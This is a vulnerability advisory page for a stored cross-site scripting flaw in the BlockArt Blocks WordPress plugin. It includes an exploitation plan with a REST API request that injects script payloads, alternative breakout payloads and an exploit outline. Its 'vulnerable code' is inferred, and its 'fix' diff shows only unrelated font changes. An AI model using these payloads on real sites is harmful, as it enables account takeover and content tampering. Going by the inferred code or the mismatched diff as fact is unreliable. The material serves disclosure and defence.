BlockArt Blocks <= 2.2.15 - Authenticated (Author+) Stored Cross-Site Scripting via 'clientId' Block Attribute
Description
The BlockArt Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'clientId' block attribute in all versions up to, and including, 2.2.15. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.2.15What Changed in the Fix
Changes introduced in v2.3.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3498 (BlockArt Blocks) ## 1. Vulnerability Summary The **BlockArt Blocks** plugin (versions <= 2.2.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the `clientId` block attribute. Gutenberg blocks store configuration as JSON attributes within HTML co…
Show full research plan
Exploitation Research Plan: CVE-2026-3498 (BlockArt Blocks)
1. Vulnerability Summary
The BlockArt Blocks plugin (versions <= 2.2.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the clientId block attribute. Gutenberg blocks store configuration as JSON attributes within HTML comments in the post_content. When a post is rendered, the plugin extracts these attributes and uses them to generate the frontend HTML and/or JavaScript. The clientId attribute, which is typically used to uniquely identify block instances for CSS or JS targeting, is rendered on the page without sufficient sanitization or escaping (e.g., esc_attr() or esc_js()), allowing an authenticated user with Author-level privileges to inject arbitrary scripts.
2. Attack Vector Analysis
- Endpoint: WordPress REST API
POST /wp-json/wp/v2/posts(or the standard Gutenberg editor save request). - Vulnerable Attribute:
clientIdwithin a BlockArt block's attribute JSON. - Vulnerable Block: Likely the Counter block (based on
changelog.txt2.2.15: "Fix - Sanitization and escaping of the counter block") or any block utilizingclientIdfor unique ID generation. - Authentication: Author-level access is required (or any role with the
edit_postscapability). - Preconditions: The plugin must be active, and a post containing the malicious block must be published and viewed.
3. Code Flow (Inferred)
- Source: A user saves a post containing a block like
<!-- wp:blockart/counter {"clientId":"<PAYLOAD>"} /-->. - Processing: The WordPress Gutenberg parser extracts the JSON attributes.
- Rendering: In the plugin's PHP rendering logic (likely within
includes/Blocks/or a registeredrender_callbackfor the block), the code retrieves theclientId. - Sink: The
clientIdis echoed into an HTML attribute (e.g.,<div id="blockart-counter-CLIENTID">) or a JavaScript initialization block (e.g.,new CountUp("blockart-counter-CLIENTID", ...)). - Vulnerability: Lack of
esc_attr()oresc_js()on theclientIdvalue allows breakout from the intended context.
4. Nonce Acquisition Strategy
This exploit uses the WordPress REST API, which requires a wp_rest nonce for authenticated requests.
- Role Setup: Use an Author user.
- Login: Log in to the WordPress dashboard using the Author credentials.
- Acquisition: Navigate to the
/wp-admin/dashboard. - Extraction: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject.- JS Command:
window.wpApiSettings.nonce
- JS Command:
5. Exploitation Strategy
Step 1: Authentication and Nonce Retrieval
Log in as an Author and retrieve the _wpnonce for the REST API.
Step 2: Inject Payload via REST API
Create a new post containing a BlockArt Counter block with a malicious clientId.
- HTTP Request:
- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body (JSON):
{ "title": "XSS Test Post", "status": "publish", "content": "<!-- wp:blockart/counter {\"clientId\":\"\\\"><script>alert(document.domain)</script>\"} /-->" }
- Method:
Step 3: Trigger Payload
Navigate to the URL of the newly created post in the browser.
Alternative Payloads (Context Dependent)
- Attribute Breakout:
\" onmouseover=\"alert(1)\" data-ignore=\" - Script Tag Context:
'); alert(1); //(IfclientIdis passed directly into a JS constructor in the HTML).
6. Test Data Setup
- Plugin: Install and activate
blockart-blocksversion 2.2.15. - User: Create a user with the Author role (e.g., username:
attacker, password:password123). - Target Block: The Counter block is the primary suspect. If unsuccessful, repeat with the Section or Column blocks.
7. Expected Results
- The REST API should return a
201 Createdstatus and a URL for the new post. - When navigating to the post URL, an alert box showing the document domain should appear.
- Inspection of the HTML source should reveal the payload rendered unsanitized:
<div id="block-blockart-counter-"><script>alert(document.domain)</script>">...</div>
8. Verification Steps
- Check Post Content: Use WP-CLI to verify the content was saved correctly:
wp post get [POST_ID] --field=content - Examine Rendered Output: Use
http_requestto fetch the post's frontend HTML and search for the raw payload:grep "<script>alert" response.html
9. Alternative Approaches
If the clientId is not directly editable via the standard block editor interface (due to JS validation), it can always be sent via a raw REST API request as shown in Step 5, because the server-side rendering logic is what lacks the sanitization, not the editor's save routine.
If the Counter block is not vulnerable, check these blocks (common in BlockArt):
blockart/sectionblockart/columnblockart/heading
Check if the payload is rendered in the Admin Editor as well as the frontend, as this would allow an Author to target an Administrator (escalating the CVSS impact). To check this, navigate to the post's edit page in the dashboard: /wp-admin/post.php?post=[ID]&action=edit.
Summary
The BlockArt Blocks plugin for WordPress (versions up to and including 2.2.15) is vulnerable to Stored Cross-Site Scripting (XSS) via the 'clientId' block attribute. This vulnerability allows authenticated users with Author-level access or higher to inject arbitrary web scripts into pages by providing a malicious payload for a block attribute that is rendered in the HTML or JavaScript context without sufficient sanitization or escaping.
Vulnerable Code
/* Inferred from changelog and research plan as specific PHP block rendering files were not provided in source */ /* Likely located in includes/Blocks/Counter.php or similar within the render_callback function */ $client_id = isset( $attributes['clientId'] ) ? $attributes['clientId'] : ''; // The vulnerability exists where the $client_id is used as an HTML ID or in a script block without escaping $output .= '<div id="blockart-counter-' . $client_id . '">';
Security Fix
@@ -20,16 +20,22 @@ "family": "Roboto", "variants": [ "100", - "100italic", + "200", "300", - "300italic", "regular", - "italic", "500", - "500italic", + "600", "700", - "700italic", + "800", "900", + "100italic", + "200italic", + "300italic", + "italic", + "500italic", + "600italic", + "700italic", + "800italic", "900italic" ], ... (truncated)
Exploit Outline
1. Log in to the target WordPress site with Author-level credentials. 2. Capture the REST API nonce from the browser's global JavaScript variable `window.wpApiSettings.nonce`. 3. Send a POST request to `/wp-json/wp/v2/posts` with a JSON payload to create a new post. 4. In the post content, include a BlockArt block (such as the Counter block) with a manipulated `clientId` attribute containing an XSS payload: `<!-- wp:blockart/counter {"clientId":"\"><script>alert(document.domain)</script>"} /-->`. 5. Publish the post and obtain its public URL. 6. When any user (including administrators) visits the published post, the payload will execute in their browser context because the plugin renders the `clientId` value unsanitized within an HTML attribute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.